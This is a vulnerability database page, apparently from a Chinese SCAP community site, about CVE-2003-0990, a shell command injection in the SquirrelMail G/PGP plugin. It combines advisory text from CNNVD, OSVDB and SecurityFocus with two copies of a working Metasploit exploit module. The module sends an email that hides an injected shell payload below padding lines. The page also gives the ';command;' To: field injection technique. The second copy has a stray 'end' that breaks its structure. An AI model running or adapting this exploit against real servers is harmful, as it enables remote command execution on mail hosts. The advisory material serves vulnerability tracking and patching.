CVE-2003-0990
CVSS7.5
发布时间 :2004-01-20 00:00:00
修订时间 :2016-10-17 22:38:55
NMCOEPS    

[原文]The parseAddress code in (1) SquirrelMail 1.4.0 and (2) GPG Plugin 1.1 allows remote attackers to execute commands via shell metacharacters in the "To:" field.


[CNNVD]Squirrelmail G/PGP加密插件远程命令执行漏洞(CNNVD-200401-051)

        
        SquirrelMail是一款PHP编写的WEBMAIL程序。
        SquirrelMail G/PGP插件存在一个输入过滤错误,远程攻击者可以利用这个漏洞以WEB进程权限在系统上执行任意命令。
        问题存在于解析EMAIL地址的"parseAddress()"函数,在进行邮件加密时处理不够安全。增加";command;"到新建EMAIL的To:行,然后点击"encrypt now",会使部分Squirrelmail版本以Apache用户权限执行包含的任意命令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0990
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0990
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200401-051
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=107247236124180&w=2
(UNKNOWN)  BUGTRAQ  20031224 Bugtraq Security Systems ADV-0001
http://www.bugtraq.org/advisories/_BSSADV-0001.txt
(UNKNOWN)  MISC  http://www.bugtraq.org/advisories/_BSSADV-0001.txt
http://www.securityfocus.com/archive/1/348366
(VENDOR_ADVISORY)  BUGTRAQ  20031226 Re: Reported Command Injection in Squirrelmail GPG
http://www.securityfocus.com/bid/9296
(VENDOR_ADVISORY)  BID  9296
http://xforce.iss.net/xforce/xfdb/14079
(VENDOR_ADVISORY)  XF  squirrelmail-parseaddress-command-execution(14079)

- 漏洞信息

Squirrelmail G/PGP加密插件远程命令执行漏洞
高危 输入验证
2004-01-20 00:00:00 2005-10-20 00:00:00
远程  
        
        SquirrelMail是一款PHP编写的WEBMAIL程序。
        SquirrelMail G/PGP插件存在一个输入过滤错误,远程攻击者可以利用这个漏洞以WEB进程权限在系统上执行任意命令。
        问题存在于解析EMAIL地址的"parseAddress()"函数,在进行邮件加密时处理不够安全。增加";command;"到新建EMAIL的To:行,然后点击"encrypt now",会使部分Squirrelmail版本以Apache用户权限执行包含的任意命令。
        

- 公告与补丁

        厂商补丁:
        SquirrelMail
        ------------
        Squirrelmail version 1.4.2已经修复这个安全问题,请到厂商的主页下载:
        
        http://www.squirrelmail.org

- 漏洞信息 (16888)

SquirrelMail PGP Plugin command execution (SMTP) (EDBID:16888)
linux remote
2010-08-25 Verified
0 metasploit
N/A [点击下载]
##
# $Id: squirrelmail_pgp_plugin.rb 10148 2010-08-25 20:31:46Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	#
	# This module sends email messages via smtp
	#
	include Msf::Exploit::Remote::SMTPDeliver

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SquirrelMail PGP Plugin command execution (SMTP)',
			'Description'    => %q{
					This module exploits a command execution vulnerability in the
				PGP plugin of SquirrelMail. This flaw was found while quickly
				grepping the code after release of some information at
				http://www.wslabi.com/. Later, iDefense published an advisory ....

				Reading an email in SquirrelMail with the PGP plugin activated
				is enough to compromise the underlying server.

				Only "cmd/unix/generic" payloads were tested.
			},
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10148 $',
			'Author'         => [ 'Nicob <nicob[at]nicob.net>' ],
			'References'     =>
				[
					['CVE', '2003-0990'],
					['OSVDB', '3178'],
					['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'],
					['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'],
					['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'],
				],
			'Stance'         => Msf::Exploit::Stance::Passive,
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'       => 1024,
					'BadChars'    => '',
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        =>
				[
					[ 'SquirrelMail PGP plugin < 2.1', {} ],
				],
			'DisclosureDate' => 'Jul 9 2007',
			'DefaultTarget' => 0))

	end

	def mime_defaults()
		self.header.set("MIME-Version", "1.0")
		self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1")
		self.header.set("Subject", '') # placeholder
		self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z"))
		self.header.set("Message-ID",
			"<"+
			Rex::Text.rand_text_alphanumeric(rand(20)+40)+
			"@"+
			Rex::Text.rand_text_alpha(rand(20)+3)+
			">"
			)
		self.header.set("From", '')    # placeholder
		self.header.set("To", '')      # placeholder
	end

	def exploit

		body =
			# Display some junk
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +

			# Scroll down
			"\n" * (rand(100)+35) +

			# Escape filter and insert payload
			"AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n"

		sig =
			"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " +
			rand_text_alphanumeric(rand(20)+54) + "\n" +
			rand_text_alphanumeric(rand(20)+34) + "\n" +
			"-----END PGP SIGNATURE-----\n"

		msg = Rex::MIME::Message.new
		msg.extend(MessageExtend)
		msg.mime_defaults
		msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
		msg.to = datastore['MAILTO']
		msg.from = datastore['MAILFROM']

		msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil)
		msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc")

		send_message(msg.to_s)

		print_status("Waiting for a payload session (backgrounding)...")
	end

end
		

- 漏洞信息 (F82369)

SquirrelMail PGP Plugin Command Execution (PacketStormID:F82369)
2009-10-30 00:00:00
Nicob  
exploit
CVE-2003-0990
[点击下载]

This Metasploit module exploits a command execution vulnerability in the PGP plugin of SquirrelMail.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	#
	# This module sends email messages via smtp
	#
	include Msf::Exploit::Remote::SMTPDeliver

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SquirrelMail PGP Plugin command execution (SMTP)',
			'Description'    => %q{
				This module exploits a command execution vulnerability in the 
				PGP plugin of SquirrelMail. This flaw was found while quickly
				grepping the code after release of some information at
				http://www.wslabi.com/. Later, iDefense published an advisory ....

				Reading an email in SquirrelMail with the PGP plugin activated
				is enough to compromise the underlying server.

				Only "cmd/unix/generic" payloads were tested.
			},
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'Author'         => [ 'Nicob <nicob[at]nicob.net>' ],
			'References'     => 
				[
				    	['CVE', '2003-0990'],
					['OSVDB', '3178'],
					['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'],
					['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'],
					['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'],
				],
			'Stance'         => Msf::Exploit::Stance::Passive,
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'       => 1024,
					'BadChars'    => '',
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        =>
				[
					[ 'SquirrelMail PGP plugin < 2.1', {} ],
				],
			'DisclosureDate' => 'Jul 9 2007',
			'DefaultTarget' => 0))
			
			register_options(
				[
					OptString.new('MAILSUBJECT', [false, "The subject of the sent email"])
				], self.class)	

	end

          def mime_defaults()
                self.header.set("MIME-Version", "1.0")
                self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1")
                self.header.set("Subject", '') # placeholder
                self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z"))
                self.header.set("Message-ID", 
                        "<"+
                        Rex::Text.rand_text_alphanumeric(rand(20)+40)+
                        "@"+
                        Rex::Text.rand_text_alpha(rand(20)+3)+
                        ">"
                )
                self.header.set("From", '')    # placeholder
                self.header.set("To", '')      # placeholder
        end
 end

	def exploit
		
		body = 
			# Display some junk
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +
			rand_text_alphanumeric(rand(128)+16) + "\n" +

			# Scroll down
			"\n" * (rand(100)+35) +

			# Escape filter and insert payload
			"AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n"

		sig =
			"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " +
			rand_text_alphanumeric(rand(20)+54) + "\n" +
			rand_text_alphanumeric(rand(20)+34) + "\n" +
			"-----END PGP SIGNATURE-----\n"

		msg = Rex::MIME::Message.new
		msg.extend(MessageExtend)
		msg.mime_defaults
		msg.subject = datastore['MAILSUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
		msg.to = datastore['MAILTO']
		msg.from = datastore['MAILFROM']

		msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil)
		msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc")

		send_message(msg.to_s)		
		
		print_status("Waiting for a payload session (backgrounding)...")
	end

    

- 漏洞信息

3178
SquirrelMail G/PGP (GPG) Plugin cmd Execution
Remote / Network Access Input Manipulation
Loss of Integrity Workaround, Upgrade
Vendor Verified

- 漏洞描述

The Squirrelmail G/PGP Plugin contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when a webmail user constructs a To: string with an embedded command and then encrypts the message. This flaw may lead to the execution of arbitrary commands as the web server user.

- 时间线

2003-12-24 Unknow
2003-12-24 Unknow

- 解决方案

Upgrade to Squirrelmail version 1.4.2 or higher, as it has been reported to fix this vulnerability. This issue may also be resolved by implementing the following workaround(s): Turn off the G/PGP Plugin.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Squirrelmail G/PGP Encryption Plugin Remote Command Execution Vulnerability
Input Validation Error 9296
Yes No
2003-12-25 12:00:00 2009-07-12 12:56:00
Discovery credited to research@bugtraq.org.

- 受影响的程序版本

SquirrelMail G/PGP Encryption Plugin 1.1
+ SquirrelMail SquirrelMail 1.4.2
+ SquirrelMail SquirrelMail 1.4.1
+ SquirrelMail SquirrelMail 1.4
+ SquirrelMail SquirrelMail 1.2.11
+ SquirrelMail SquirrelMail 1.2.10
+ SquirrelMail SquirrelMail 1.2.9
+ SquirrelMail SquirrelMail 1.2.8
+ SquirrelMail SquirrelMail 1.2.7
+ SquirrelMail SquirrelMail 1.2.6
+ SquirrelMail SquirrelMail 1.2.5
+ SquirrelMail SquirrelMail 1.2.4
+ SquirrelMail SquirrelMail 1.2.3
+ SquirrelMail SquirrelMail 1.2.2
+ SquirrelMail SquirrelMail 1.2.1
+ SquirrelMail SquirrelMail 1.2 .0
+ SquirrelMail SquirrelMail 1.0.5
+ SquirrelMail SquirrelMail 1.0.4
SquirrelMail G/PGP Encryption Plugin 1.0.2
+ SquirrelMail SquirrelMail 1.4.2
+ SquirrelMail SquirrelMail 1.4.1
+ SquirrelMail SquirrelMail 1.4
+ SquirrelMail SquirrelMail 1.2.11
+ SquirrelMail SquirrelMail 1.2.10
+ SquirrelMail SquirrelMail 1.2.9
+ SquirrelMail SquirrelMail 1.2.8
+ SquirrelMail SquirrelMail 1.2.7
+ SquirrelMail SquirrelMail 1.2.6
+ SquirrelMail SquirrelMail 1.2.5
+ SquirrelMail SquirrelMail 1.2.4
+ SquirrelMail SquirrelMail 1.2.3
+ SquirrelMail SquirrelMail 1.2.2
+ SquirrelMail SquirrelMail 1.2.1
+ SquirrelMail SquirrelMail 1.2 .0
+ SquirrelMail SquirrelMail 1.0.5
+ SquirrelMail SquirrelMail 1.0.4
SquirrelMail G/PGP Encryption Plugin 1.0.1
+ SquirrelMail SquirrelMail 1.4.2
+ SquirrelMail SquirrelMail 1.4.1
+ SquirrelMail SquirrelMail 1.4
+ SquirrelMail SquirrelMail 1.2.11
+ SquirrelMail SquirrelMail 1.2.10
+ SquirrelMail SquirrelMail 1.2.9
+ SquirrelMail SquirrelMail 1.2.8
+ SquirrelMail SquirrelMail 1.2.7
+ SquirrelMail SquirrelMail 1.2.6
+ SquirrelMail SquirrelMail 1.2.5
+ SquirrelMail SquirrelMail 1.2.4
+ SquirrelMail SquirrelMail 1.2.3
+ SquirrelMail SquirrelMail 1.2.2
+ SquirrelMail SquirrelMail 1.2.1
+ SquirrelMail SquirrelMail 1.2 .0
+ SquirrelMail SquirrelMail 1.0.5
+ SquirrelMail SquirrelMail 1.0.4
SquirrelMail G/PGP Encryption Plugin 1.0
+ SquirrelMail SquirrelMail 1.4.2
+ SquirrelMail SquirrelMail 1.4.1
+ SquirrelMail SquirrelMail 1.4
+ SquirrelMail SquirrelMail 1.2.11
+ SquirrelMail SquirrelMail 1.2.10
+ SquirrelMail SquirrelMail 1.2.9
+ SquirrelMail SquirrelMail 1.2.8
+ SquirrelMail SquirrelMail 1.2.7
+ SquirrelMail SquirrelMail 1.2.6
+ SquirrelMail SquirrelMail 1.2.5
+ SquirrelMail SquirrelMail 1.2.4
+ SquirrelMail SquirrelMail 1.2.3
+ SquirrelMail SquirrelMail 1.2.2
+ SquirrelMail SquirrelMail 1.2.1
+ SquirrelMail SquirrelMail 1.2 .0
+ SquirrelMail SquirrelMail 1.0.5
+ SquirrelMail SquirrelMail 1.0.4

- 漏洞讨论

A problem in the handling of some types of input passed to the Squirrelmail G/PGP Plugin has been discovered. This issue may make it possible for a remote user to gain unauthorized access to a system hosting the vulnerable application.

- 漏洞利用

No exploit is required for this vulnerability. This issue may be exploited by placing malicious commands in the form of ";command;" in the To: line.

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站